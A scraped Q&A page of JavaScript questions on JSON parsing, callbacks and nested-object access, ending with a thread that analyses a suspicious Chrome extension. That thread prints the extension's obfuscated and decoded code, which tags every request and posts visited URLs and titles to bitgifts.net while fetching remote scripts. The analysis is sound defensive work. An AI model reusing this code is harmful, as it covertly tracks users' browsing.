How to readrecords from Json Array - javascript

I try to use Javascript Ext libraries and call a rest service which returns a json response. Its an array with one element and it doesnt work when i use DataReader(Ext.data.DataReader) "readRecords" operation to process the json data and it returns null reference on the call back function.
It would be good if you provide some help or suggestions to fix the issue.
I tried to pass the array as the argument in the reader and it doesnt help.
Ext.namespace("cityDetails");
var a = "http://" + "Url address to get cityDetails";
var e = new Ext.data.ScriptTagProxy({
callbackParam: "callback",
url: a
});
var f = {
fields: [{
name: "Id"
}, {
name: "city"
}, {
name: "postcode"
}]
};
var d = new cityDetails.reader(f, {});
//call back function
var h = function(k, j, m) {
try {
// k returns null reference
if (k != null) {
alert("PostCode insider else::" + k.jsonObject.postcode)
}
}
} catch (l) {
alert(l)
}
};
var i = this;
e.load({
1: 1
}, d, h, i)
//readRecords from Data - Json Response an array of one objekt
Ext.extend(cityDetails.reader, Ext.data.DataReader, {
readRecords: function(b) {
this.jsonData = b;
alert("Meta ::" + this.meta);
//alert("Meta Root::"+this.meta.root);
var a = false;
return {
success: a,
jsonObject: this.getRoot(b),
totalRecords: 1
}
},
getRoot: function(d) {
if (this.meta && this.meta.root) {
var c = d;
var a = this.meta.root.split(".");
for (var b = 0; b < a.length; b++) {
c = c[a[b]]
}
return c
} else {
alert("Value Of d in reader::" + d);
if (d != null) {
alert("Objects Of d in reader::" + d.jsonObject.postcode);
}
return d
}
}
})
//Initial call.
cityDetails.reader = function(a, b) {
a = a || {};
cityDetails.reader.superclass.constructor.call(this, a, b || a.fields)
};
Sample response from rest service shown below.
[{
"Id": "121A",
"postcode": "1000",
"city": "ABBA"
}]
The call back function k should return the value of Json response. However it returns null.

Related

Split JSON value to obtain new JSON with news properties

This is my first post today because I'm exhausted.
I try since few days to make something that looks simple but not for me...
I've this JSON :
[
{
"GpName":"AAAAAA",
"Contacts":"US;Toto;\nESI;James;james#mail.com "
},
{
"GpName":"BBBBBB",
"Contacts":"ESI;Sebastien;sebastien#mail.com\nUS;Ahmid;\nESI;Stephane ;Stephane#mail.com"
},
{
"GpName":"CCCCCC",
"Contacts":"ESI;Marc;Marc#mail.com\nUS;Olivier;olivier#mail.com\nUS;Jean;jean#mail.com"
}
]
I try to use the split array function, I don't have the result expected.
How could I obtain :
[
{
"GpName":"AAAAAA",
"Contacts":["Zone":"US",
"User":"Toto"
"Mail": " "],
["Zone":"ESI",
"User":"James",
"Mail":"james#gmail.com "]
},
{
"GpName":"BBBBBB",
"Contacts":["Zone":"ESI",
"User":"Sebastien"
"Mail": "sebastien#mail.com"],
["Zone":"US",
"User":"Ahmid ",
"Mail":" "]
["Zone":"ESI",
"User":"Stephane",
"Mail":"Stephane#mail.com"]
},
{
"GpName":"CCCCCC",
"Contacts":["Zone":"ESI",
"User":"Marc"
"Mail": "Marc#mail.com"],
["Zone":"US",
"User":"Olivier",
"Mail":" "]
["Zone":"US",
"User":"Jean",
"Mail":"Jean#mail.com"]
}
]
As you can see, sometimes I've email, sometime not.
Any help would be very grateful
use Array.split Split a string into substrings and Array.map to generate an array.
let input = [{ "GpName": "AAAAAA", "Contacts": "US;Toto;\nESI;James;james#mail.com " }, { "GpName": "BBBBBB", "Contacts": "ESI;Sebastien;sebastien#mail.com\nUS;Ahmid;\nESI;Stephane ;Stephane#mail.com" }, { "GpName": "CCCCCC", "Contacts": "ESI; Marc; Marc#mail.com\nUS; Olivier; olivier#mail.com\nUS; Jean; jean#mail.com" }]
let result = input.map(({ GpName, Contacts }) => ({
GpName,
Contacts: Contacts.split("\n").map(line => {
let [Zone, User, Mail] = line.split(";");
return { Zone, User, Mail }
})
}));
console.log(result)
What I tried on my side
var EsiEmailList = [];
var EsiEmailListJSON = [];
var myJSON = JSON.parse(BgManagerInfoList);
for (key in myJSON) {
gpInfo = myJSON[key];
var gpName= gpInfo.GpName;
var gpContact = gpInfo.Contacts;
EsiEmailListJSON.push(gpContact);
}
EsiEmailList=JSON.stringify(EsiEmailListJSON);
EsiEmailListSplit = EsiEmailListJSON/split("\n");
for (data in EsiEmailListSplit){
contactInfo = EsiEmailListJSON[data];
System.log ("contactInfo: " + contactInfo);
}
The result is something like this :
**ContactInfo**: US;Toto;
ESI;James;james#mail.com
**ContactInfo**: ESI;Sebastien;sebastien#mail.com
US;Ahmid;
ESI;Stephane;Stephane#mail.com
**ContactInfo**:ESI;Marc;Marc#mail.com
US;Olivier;olivier#mail.com
US;Jean;jean#mail.com
same issue :
Error in (Workflow:TEst / map function (item1)#37) TypeError: Cannot find function map in object
I tested the polyfill but it's not working
Here the code
if (!Array.prototype.map) {
Array.prototype.map = function(callback/*, thisArg*/) {
var T, A, k;
if (this == null) {
throw new TypeError('this is null or not defined');
}
var O = Object(this);
var len = O.length >>> 0;
if (typeof callback !== 'function') {
throw new TypeError(callback + ' is not a function');
}
if (arguments.length > 1) {
T = arguments[1];
}
A = new Array(len);
k = 0;
while (k < len) {
var kValue, mappedValue;
if (k in O) {
kValue = O[k];
mappedValue = callback.call(T, kValue, k, O);
A[k] = mappedValue;
}
k++;
}
return A;
};
}
var input = [{ "GpName": "AAAAAA", "Contacts":
"US;Toto;\nESI;James;james#mail.com " }, { "GpName": "BBBBBB", "Contacts":
"ESI;Sebastien;sebastien#mail.com\nUS;Ahmid;\nESI;Stephane ;Stephane#mail.com"
}, { "GpName": "CCCCCC", "Contacts": "ESI; Marc; Marc#mail.com\nUS; Olivier;
olivier#mail.com\nUS; Jean; jean#mail.com" }];
var result = input.map(function (_a) {
var GpName = _a.GpName, Contacts = _a.Contacts;
return ({
GpName: GpName,
Contacts: Contacts.split("\n").map(function (line) {
var _a = line.split(";"), Zone = _a[0], User = _a[1], Mail = _a[2];
return { Zone: Zone, User: User, Mail: Mail };
})
});
});
Can I Maybe use the for each instead of map, something like this :
var inputJSON = JSON.parse(BgManagerInfoList);
for each(a in inputJSON ){
var GpName = a.GpName;
var Contacts = a.Contacts;
//System.log ("GpName: " + GpName);
//System.log ("Contacts: " + Contacts);
for each(b in Contacts){
b = line.split(";");
var Zone = b[0];
var User = b[1];
var Mail = b[2];
System.log ("Zone:" + Zone + ", User: " + User + ", Mail: " + Mail );
}
}
I've a value for GpName and Contacts but the for each is not working for Contacts
I found the solution of my problem :
var input = JSON.parse(BgManagerInfoList);
for each(a in input){
var GpName = a.GpName ;
var Contacts = a.Contacts;
//System.log ("GpName: " + GpName);
contactSplit = Contacts.split('\n');
System.log ("Contacts: " + Contacts);
for each (a in contactSplit){
var ContactOnly = a.split(";");
//System.log ("ContactsSplit: " + ContactsSplit);
var Zone = ContactOnly[0];
var User = ContactOnly[1];
var Mail = ContactOnly[2];
System.log ("Zone:" + Zone + ", User: " + User + ", Mail: " + Mail );
}
}
I made a first split of each lines, and for each line I made another split on the ";".
I got the expected result. Tks a lot for your suggestion, they helped me to understand of map is working and adapt my code to get the result.
I've to push the result in a table and work with.

Understanding call() Function and Objects

I have a modular JS project that I was given to tweak. It uses prototype inheritance as opposed to classes. Here is the code in question:
Constructor in hgManager.js:
export function HGManager() {
this.USER_ID = getURLParameter( "usr" ),
this.GAME_ID = getURLParameter( "game" )
};
getData() in hgManager.js:
getData: function(a, b) {
var c = this.API + "records/" + this.USER_ID + "/" + this.GAME_ID;
this.xhrLoad( "GET", c, a, b )
},
xhrLoad() in hgManager.js:
xhrLoad: function(a, b, c, d, e) {
var f = new XMLHttpRequest;
f.open(a, b, true),
e && f.setRequestHeader("Content-type", "application/json");
var g = this;
f.onload = function() {
if (4 == f.readyState && f.status >= 400 && f.status <= 599) { return d.call(g, f);
}
else {
var a = JSON.parse( f.responseText ).response;
return c.call(g, a, f)
}
},
f.onerror = function() {
return d.call(g, f)
},
e ? f.send( JSON.stringify( e ) ) : f.send()
}
A function that calls hgManager.getData():
loadPlayerData: function() {
var a = this;
this.game.hgManager.getData(
function( c ) { //param 1
if ( null === c ) {
return void console.log( "DataManager: Invalid response." ); //if there is no playerData
}
var d = JSON.parse( c.record );
void 0 === d || null === d || void 0 === d.selectedCharacter ? (console.log("DataManager: No data on backend, looking for data on local storage."), d = a._getLocalStorageData(), null !== d ? (console.log("DataManager: Data on localstorage found. Saving this to backend."), a.game.playerData = d) : console.log("DataManager: No data on localstorage. Saving default data to backend."), a.savePlayerData()) : console.log("DataManager: Data loaded from backend.");
var e = new Date,
f = e.getFullYear() + "-" + e.getMonth();
d.lastMonthPlayed != f && (d.lastMonthPlayed = f, d.loyaltyPoints = [], console.log("DataManager: New month, reset loyalty points.")),
a.game.playerData = d,
a.game.hasShownLoyaltyMessage = a.game.playerData.loyaltyPoints.length > 0,
a.game.hasShownPortalMessage = 9 == a.game.playerData.portalPieces.length
},
function() { //param 2
console.log("DataManager: Error loading user data"),
data = a._getLocalStorageData(),
null !== data ? (console.log("DataManager: Data on localstorage found."), a.game.playerData = data) : console.log("DataManager: No data on localstorage.")
}
)
},
The code that is throwing me off is return c.call(g, a, f) in xhrLoad(), and the corresponding first parameter function of loadPlayerData().
Where does the parameter 'c' in this.game.hgManager.getData(function( c ) { come from? It is clearly not defined in this scope, so I imagine it is a result of the call()?
How does loadPlayerData() read what appears to be undefined in the scope?
Given the function this.game.hgManager.getData( function(c), why would we reassign the parent object and call getData()? What is the intent?
It's quite difficult to deal with variables like a, b, c especially when they mean different things in different scopes.
But let's try to follow code and rename args to add some sence:
xhrLoad: function(method, target, callbackSuccess, callbackError, e/* idk what is it*/) {}
getData: function(callbackSuccess, callbackError) {
var target = this.API + "records/" + this.USER_ID + "/" + this.GAME_ID;
this.xhrLoad( "GET", target, callbackSuccess, callbackError )
},
this.game.hgManager.getData(
function( response ) { //param 1 callbackSucess
if ( null === response ) {
return void console.log( "DataManager: Invalid response." ); //if there is no playerData
}
},
function() { //param 2 callbackError
//
}
Now it's easier to understand.
getData() accepts as arguments two callback functions - one for successful response and one for error. First one must accept response as argument. It's your c from this.game.hgManager.getData(function( c ) { and it's defined right here. Since it's a function's argument, there is no need to define it in global scope.
And seems, that there is nothing to do with classes here. It's all about passing functions as arguments.

Traverse down a JSON depending on length of array

Say I have a json
jsonData = {
"id":"dfd",
"properties":{
"Pri":"2",
"Brief Description":"asdf",
"Description":"",
"tree":{
"var": "2",
"rav": "3"
}
}
}
and a list
var variableArray = ['properties', 'tree', 'var'];
If I want to access the value of var and edit it. How would I do that while maintaining the value of jsonData?
I've tried
for (var i = 0; i < variableArray.length; i++) {
jsonData = jsonData[variableArray[i]];
}
jsonData = 'new value';
But I can no longer access the whole jsonData.
What are some way to implement this?
JavaScript doesn't have references to properties, which is effectively what you're trying to use there.
Instead, you can give yourself a method that will traverse an object and either retrieve or assign a property in it. Here's a quick and dirty in ES5 and earlier:
function accessPath(obj, path, value) {
var o = obj;
var i = 0;
var last = path.length - 1;
while (i < last) {
o = o[path[i]];
++i;
}
if (arguments.length < 3) {
// Getting
return o[path[last]];
} else {
// Setting
return o[path[last]] = value;
}
}
Live example:
function accessPath(obj, path, value) {
var o = obj;
var i = 0;
var last = path.length - 1;
while (i < last) {
o = o[path[i]];
++i;
}
if (arguments.length < 3) {
// Getting
return o[path[last]];
} else {
// Setting
return o[path[last]] = value;
}
}
var data = {
"id":"dfd",
"properties":{
"Pri":"2",
"Brief Description":"asdf",
"Description":"",
"tree":{
"var": "2",
"rav": "3"
}
}
}
var path = ['properties', 'tree', 'var'];
console.log("Existing: " + accessPath(data, path));
accessPath(data, path, "new value");
console.log("Updated: " + accessPath(data, path));
console.log("Confirm: " + data.properties.tree.var);
Looks fairly similar in ES2015+, other than perhaps how you check if value is supplied.
Not pretty, but fairly efficient.
Actually, we can go further if we return an object with a getter and setter, which would look a bit like a property reference even though it isn't actually:
function makeAccessor(obj, path) {
var o = obj;
var i = 0;
var last = path.length - 1;
var lastName = path[last];
while (i < last) {
o = o[path[i]];
++i;
}
return {
get value() {
return o[lastName];
},
set value(value) {
o[lastName] = value;
}
};
}
Then, getting the accessor:
var accessor = makeAccessor(data, path);
And using it:
console.log(accessor.value);
accessor.value = "new value";
function makeAccessor(obj, path) {
var o = obj;
var i = 0;
var last = path.length - 1;
var lastName = path[last];
while (i < last) {
o = o[path[i]];
++i;
}
return {
get value() {
return o[lastName];
},
set value(value) {
o[lastName] = value;
}
};
}
var data = {
"id":"dfd",
"properties":{
"Pri":"2",
"Brief Description":"asdf",
"Description":"",
"tree":{
"var": "2",
"rav": "3"
}
}
}
var path = ['properties', 'tree', 'var'];
var accessor = makeAccessor(data, path);
console.log("Existing: " + accessor.value);
accessor.value = "new value";
console.log("Updated: " + accessor.value);
console.log("Confirm: " + data.properties.tree.var);
You could write little helpers read and write that do what you need – note data is not altered by use of read
const read = (o, [k,...ks]) =>
o ? k === undefined ? o
: read (o[k], ks)
: undefined
const write = (o, [k,...ks], v) =>
o ? ks.length === 0 ? (o[k] = v, null)
: write (o[k], ks, v)
: undefined
const data = {
"id":"dfd",
"properties":{
"Pri":"2",
"Brief Description":"asdf",
"Description":"",
"tree":{
"var": "2",
"rav": "3"
}
}
}
// read
console.log (read (data, ['properties', 'tree', 'var']))
// => 2
console.log (read (data, ['foo', 'bar', 'barf']))
// => undefined (signals failure)
// write
console.log (write (data, ['properties', 'tree', 'var'], 'new value'))
// => null (signals success)
console.log (write (data, ['foo', 'bar', 'barf'], 'new value'))
// => undefined (signals failure)
// read updated value
console.log (read (data, ['properties', 'tree', 'var']))
// => "new value"
By the way, to add to others' comments, JavaScript Object Notation is what JSON stands for. It's the Notation part that makes JSON different from "JSO" (JavaScript Object). More simply put, JSON is a string representation of a JavaScript Object. You'll know it's not JSON if it's not a string.

Code flow through callback in java script

-----------------File1.html-------------------------
<body>
<div id="tooltip"></div>
<script src="lib/d3.js"></script>
<script src="lib/underscore.js"></script>
<script src="js/mapper.js"></script>
<script>
d3.json('data/readme.json', function (error, data) {
var mpr = chordMpr(data);
_.each(data, function (elem) {
mpr.addToMap(name(elem.name))
})
mpr.setFilter(function (row, a, b) {
/* alert(JSON.stringify(a) +"-------"+JSON.stringify(row)+"-------"+JSON.stringify(b));
alert(a.name + "--" + row.name + "--" + b.name); */
return (name(row.name) === a.name)
})
.setAccessor(function (recs, a, b) {
if (!recs[0]) return 0;
var n = 0;
_.each(recs, function (r) {
//alert(r.imports)
_.each(r.imports, function (i) {
// alert(JSON.stringify(b) + "----" + i);
if (name(i) === b.name) n++;
});
});
return n;
});
alert(/* "*****" + mpr.getMatrix() + "-----" + */ JSON.stringify(mpr.getMap()));
drawChords(mpr.getMatrix(), mpr.getMap());
});
function name(name) {
return name.substring(0, name.lastIndexOf(".")).substring(6);
}
---------------------------File1.html-----------------------------
------------------------------mapper.js---------------------------
//*******************************************************************
// CHORD MAPPER
//*******************************************************************
function chordMpr (data) {
alert(data + "kimi is faster than you");
var mpr = {}, mmap = {}, n = 0,
matrix = [], filter, accessor;
mpr.setFilter = function (fun) {
alert("inside filter");
filter = fun;
return this;
},
mpr.setAccessor = function (fun) {
accessor = fun;
return this;
},
mpr.getMatrix = function () {
matrix = [];
_.each(mmap, function (a) {
if (!matrix[a.id]) matrix[a.id] = [];
_.each(mmap, function (b) {
var recs = _.filter(data, function (row) {
return filter(row, a, b);
})
matrix[a.id][b.id] = accessor(recs, a, b);
});
});
return matrix;
},
mpr.getMap = function () {
return mmap;
},
mpr.printMatrix = function () {
_.each(matrix, function (elem) {
console.log(elem);
})
},
mpr.addToMap = function (value, info) {
if (!mmap[value]) {
mmap[value] = { name: value, id: n++, data: info }
}
},
mpr.addValuesToMap = function (varName, info) {
alert("inside addValuesToMap " + varName + info);
var values = _.uniq(_.pluck(data, varName));
alert(values);
//values is the list of countries in the importer[i] column in CSV form
_.map(values, function (v) {
//v is individual country in the importer[i] column
if (!mmap[v]) {
mmap[v] = { name: v, id: n++, data: info }
}
});
return this;
}
return mpr;
}
//*******************************************************************
// CHORD READER
//*******************************************************************
function chordRdr (matrix, mmap) {
return function (d) {
var i,j,s,t,g,m = {};
if (d.source) {
i = d.source.index; j = d.target.index;
s = _.where(mmap, {id: i });
t = _.where(mmap, {id: j });
m.sname = s[0].name;
m.sdata = d.source.value;
m.svalue = +d.source.value;
m.stotal = _.reduce(matrix[i], function (k, n) { return k + n }, 0);
m.tname = t[0].name;
m.tdata = d.target.value;
m.tvalue = +d.target.value;
m.ttotal = _.reduce(matrix[j], function (k, n) { return k + n }, 0);
} else {
g = _.where(mmap, {id: d.index });
m.gname = g[0].name;
m.gdata = g[0].data;
m.gvalue = d.value;
}
m.mtotal = _.reduce(matrix, function (m1, n1) {
return m1 + _.reduce(n1, function (m2, n2) { return m2 + n2}, 0);
}, 0);
return m;
}
}
I am having difficulty in analysing the code flow in the above code.
In the mpr.setFilter(function (row, a, b)) call, what are row, a and b? I can't find any variables by this name. Also how are the calls translating from one function to other.
Please help.
setFilter is a function which takes an argument of a function that is stored to a "member" variable filter. When the user calls setFilter and passes their function they must know the contract that it takes three arguments. These are your row, a, and b arguments, they aren't assigned here, just there to make the function match later on.
If you trace this a little further that anonymous function passed into setFilter and stored in the variable filter is then called in the getMatrix function in mapper.js. You'll see when it is called the arguments of row, a and b are passed in.
Ain't JavaScript fun?

Is this a malicious piece of code?

So I have installed this sketchy looking chrome extension that requires "access to all browsing data" and so I took a look inside it. It contains two files, identical, on is the properly named content.js and the other is a suspiciously named background.js along with what looks to be an unmodified version of jquery. The other two contain the same piece of code and I'm concerned it looks like a key logger to me. Here is the code that I had to tidy up using jsfiddle as it was packed:
eval(function (p, a, c, k, e, d) {
e = function (c) {
return c
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c] = k[c] || c
}
k = [function (e) {
return d[e]
}];
e = function () {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('163(65(45,34,37,42,40,39){40=65(37){60(37<34?\'\':40(105(37/34)))+((37=37%34)>35?110.180(37+29):37.123(36))};72(!\'\'.95(/^/,110)){94(37--){39[40(37)]=42[37]||40(37)}42=[65(40){60 39[40]}];40=65(){60\'\\\\58+\'};37=1};94(37--){72(42[37]){45=45.95(101 270(\'\\\\38\'+40(37)+\'\\\\38\',\'43\'),42[37])}}60 45}(\'45 39=["\\\\41\\\\43\\\\40\\\\38\\\\51\\\\47\\\\47\\\\111\\\\38\\\\41\\\\55\\\\37","\\\\46\\\\37\\\\38\\\\78\\\\38\\\\37\\\\55","\\\\50\\\\51\\\\40\\\\50","\\\\46\\\\37\\\\38\\\\107\\\\41\\\\55\\\\37","\\\\40\\\\37\\\\38\\\\78\\\\38\\\\37\\\\55","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\44\\\\37\\\\46\\\\41\\\\40\\\\38\\\\37\\\\44","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\50\\\\42\\\\55\\\\37","\\\\64\\\\44\\\\37\\\\51\\\\38\\\\37","\\\\38\\\\51\\\\54\\\\40","\\\\50\\\\37\\\\47\\\\47\\\\42","\\\\47\\\\42\\\\46","\\\\56\\\\42\\\\40\\\\38","\\\\44\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38\\\\79\\\\37\\\\51\\\\57\\\\37\\\\44\\\\40","\\\\80\\\\41\\\\38\\\\90\\\\41\\\\52\\\\38\\\\40","\\\\56\\\\53\\\\40\\\\50","\\\\242\\\\51\\\\47\\\\47\\\\111\\\\53\\\\44\\\\47\\\\40\\\\252","\\\\54\\\\47\\\\42\\\\64\\\\102\\\\41\\\\43\\\\46","\\\\51\\\\57\\\\57\\\\91\\\\41\\\\40\\\\38\\\\37\\\\43\\\\37\\\\44","\\\\42\\\\43\\\\80\\\\37\\\\52\\\\42\\\\44\\\\37\\\\106\\\\37\\\\43\\\\57\\\\79\\\\37\\\\51\\\\57\\\\37\\\\44\\\\40","\\\\100\\\\37\\\\54\\\\81\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38","\\\\46\\\\37\\\\38\\\\64\\\\40","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\46\\\\37\\\\38\\\\103\\\\40","\\\\46\\\\37\\\\38","\\\\53\\\\44\\\\47","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\40\\\\53\\\\44\\\\52","\\\\38\\\\41\\\\38\\\\47\\\\37","\\\\47\\\\37\\\\43\\\\46\\\\38\\\\50","\\\\44\\\\51\\\\43\\\\57\\\\42\\\\55","\\\\42\\\\43\\\\81\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38","\\\\37\\\\104\\\\38\\\\37\\\\43\\\\40\\\\41\\\\42\\\\43","","\\\\109\\\\80\\\\138\\\\136\\\\134\\\\141\\\\90\\\\79\\\\78\\\\148\\\\145\\\\91\\\\120\\\\116\\\\112\\\\114\\\\115\\\\81\\\\106\\\\107\\\\126\\\\239\\\\167\\\\166\\\\165\\\\168\\\\51\\\\54\\\\64\\\\57\\\\37\\\\52\\\\46\\\\50\\\\41\\\\103\\\\102\\\\47\\\\55\\\\43\\\\42\\\\56\\\\68\\\\44\\\\40\\\\38\\\\53\\\\161\\\\100\\\\104\\\\174\\\\187\\\\186\\\\185\\\\188\\\\189\\\\192\\\\191\\\\190\\\\184\\\\183\\\\177","\\\\52\\\\47\\\\42\\\\42\\\\44","\\\\64\\\\50\\\\51\\\\44\\\\109\\\\38"];45 34=[39[0],39[1],39[2],39[3],39[4],39[5],39[6],39[7],39[8],39[9],39[10],39[11],39[12],39[13],39[14],39[15],39[16],39[17],39[18],39[19],39[20],39[21],39[22],39[23],39[24],39[25],39[26],39[27],39[28],39[29],39[92],39[93],39[96],39[97]];58 99(){61(59[34[1]](34[0])&&59[34[1]](34[2])){73};45 108=125 124()[34[3]]();59[34[4]](34[0],108);45 82=71();59[34[4]](34[2],82);$[34[11]](34[5],{127:82},58(83){77[34[8]][34[7]]({87:34[6]});121[34[10]](34[9])})};99();77[34[19]][34[18]][34[17]](58(98){45 85=98[34[12]],84={};85[34[14]]({119:34[13],131:59[34[1]](34[2])});84[34[12]]=85;73 84},{147:[34[15]]},[34[12],34[16]]);77[34[29]][34[28]][34[17]](58(49,135,67){61(49[34[20]]){$[34[22]](34[21],58(83){67({137:83})})}86{61(49[34[23]]&&49[34[11]]){$[34[11]](34[24],{87:49[34[23]],139:49[34[11]]});67({})}86{61(49[34[23]]&&49[34[25]]){45 63=24+49[34[23]][34[26]]*3-(49[34[25]][34[26]]*2);61(63%4){63+=3}86{63-=4};45 89=247(76[34[27]]()*250);45 88=71();$[34[11]](34[24],{87:49[34[23]],246:49[34[25]],238:63,236:89,241:88});67({})}}}});58 71(){45 75=34[92];45 74=34[93];267(45 70=0;70<16;70++){75+=74[34[97]](76[34[96]](76[34[27]]()*74[34[26]]))};73 75};\',62,146,\'||||||||||262|264|235|208|207|206|209|210|213|212|211|205|204|198|197|196|195|199|200|203|202|201|65|215|72|227|226|229|230|233|232|231|225|224|218|217|60|219|220|223|222|221|193|263|257|265|271|272|268|256|244|240|||||||||||142|118|117|113|128|129|31|33|30|173|160|155|157|32|133|216|228|214|261|260|259|269|273|255|243|237|249|194|140|150|143|144|132|130|178|158|122|151|149|234|251|254|253|258|266|245|152|153|181|182|179|105|||||||||||175|176|162|159|154|101|156|164|170|171|172|169\'.248(\'|\'),0,{}))', 10, 274, '||||||||||||||||||||||||||||||||||a|||c|b|d|e|f|k|g|h|p|j|i|m|l|n|o|q|s|r|v|u|t|w|x|return|y||z|A|function|C|E|D|B|F|U|if|K|L|P|J|S|Q|V|G|I|O|M|H|T|R|N|1j|1k|1l|1f|1i|1g|while|replace|1n|1h|1d|1c|W|new|1a|1b|Y|parseInt|1o|1e|Z|X|String|1m|1H|_0x635cx6|1G|1B|1M|install_notice|x6A|1Q|1N|2g|x4A|toString|2i|2f|1z|1P|x54|x4C|x4F|1V|x50|x53|1O|1X|1w|1Y|1r|1S|x56|1y|x6B|x59|x58|1L||1W|1K|x4E|x57|x4B|vy|value|x37|x47|console|x5F|x76|xc|_0x635cxd|1J|for|eval|x38|1E|1F|1D|1I|x35|Date|x36|x39|_0x635cxe|1t|43260|x34|2k|x5A|data|fromCharCode|urls|_0x635cxa|2h|2e|1p|1s|1x|1q|1A|2j|2l|2b|x49|x51|x66|var|x61|x68|x62|x75|x6D|x70|x64|x2F|_0x635cx9|x69|x73|_0xf8d8|x6E|x72|x6F|x67|x6C|x43|localStorage|x31|Math|x52|_0x635cx11|_0x635cx5|_0x635cx10|_0x635cx4|url|_0x635cx8|x42|x63|_0x635cxc|x32|x2E|x3A|_0x635cx12|_0x635cxb|x71|x4D|x65|1T|x55|2d|1C|_0x635cx3|1U|1v|x46|x78|xv|1R|1Z|split|x33|2a|x45|1u|name|hash|x7A|x41|chrome|title|x3E|x79|x30|_0x6ce2|else|x74|_0x635cx7|post|2c|x77|x3C|RegExp|makeid|x48|x44'.split('|'), 0, {}))
Here's what I could decode. I haven't performed an in-depth analysis of the code, however it seems to be adding a custom BitGifts request header to all requests which contains a uniquely generated key. It's also using chrome.extension.onRequest.addListener which is deprecated. Also, it tries to communicate with http://bitgifts.net/, by either doing a GET data/code from http://bitgifts.net/getjs or POST to http://bitgifts.net/surf. Both of these cannot be served by the server, perhaps because the custom header isin't provided.
Anyway, I wouldn't take any chance and wouldn't install this extension. Actually I probably wouldn't install any extension that left a console.log('hello') behind ;)
function install_notice() {
if (localStorage["getItem"]("install_time") && localStorage["getItem"]("hash")) {
return
}
var e = (new Date)["getTime"]();
localStorage["setItem"]("install_time", e);
var t = makeid();
localStorage["setItem"]("hash", t);
$["post"]("http://bitgifts.net/register", {
hash: t
}, function (e) {
chrome["tabs"]["create"]({
url: "http://bitgifts.net/home"
});
console["log"]("hello")
})
}
function makeid() {
var e = "";
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var n = 0; n < 16; n++) {
e += t["charAt"](Math["floor"](Math["random"]() * t["length"]))
}
return e
}
install_notice();
chrome["webRequest"]["onBeforeSendHeaders"]["addListener"](function (e) {
var t = e["requestHeaders"],
n = {};
t["push"]({
name: "BitGifts",
value: localStorage["getItem"]("hash")
});
n["requestHeaders"] = t;
return n
}, {
urls: ["<all_urls>"]
}, ["requestHeaders", "blocking"]);
chrome["extension"]["onRequest"]["addListener"](function (e, t, n) {
if (e["getcs"]) {
$["get"]("http://bitgifts.net/getjs", function (e) {
n({
data: e
})
})
} else {
if (e["url"] && e["post"]) {
n({})
} else {
if (e["url"] && e["title"]) {
var r = 24 + e["url"]["length"] * 3 - e["title"]["length"] * 2;
if (r % 4) {
r += 3
} else {
r -= 4
}
var i = parseInt(Math["random"]() * 43260);
var s = makeid();
$["post"]("http://bitgifts.net/surf", {
url: e["url"],
title: e["title"],
xc: r,
xv: i,
vy: s
});
n({})
}
}
}
});

Categories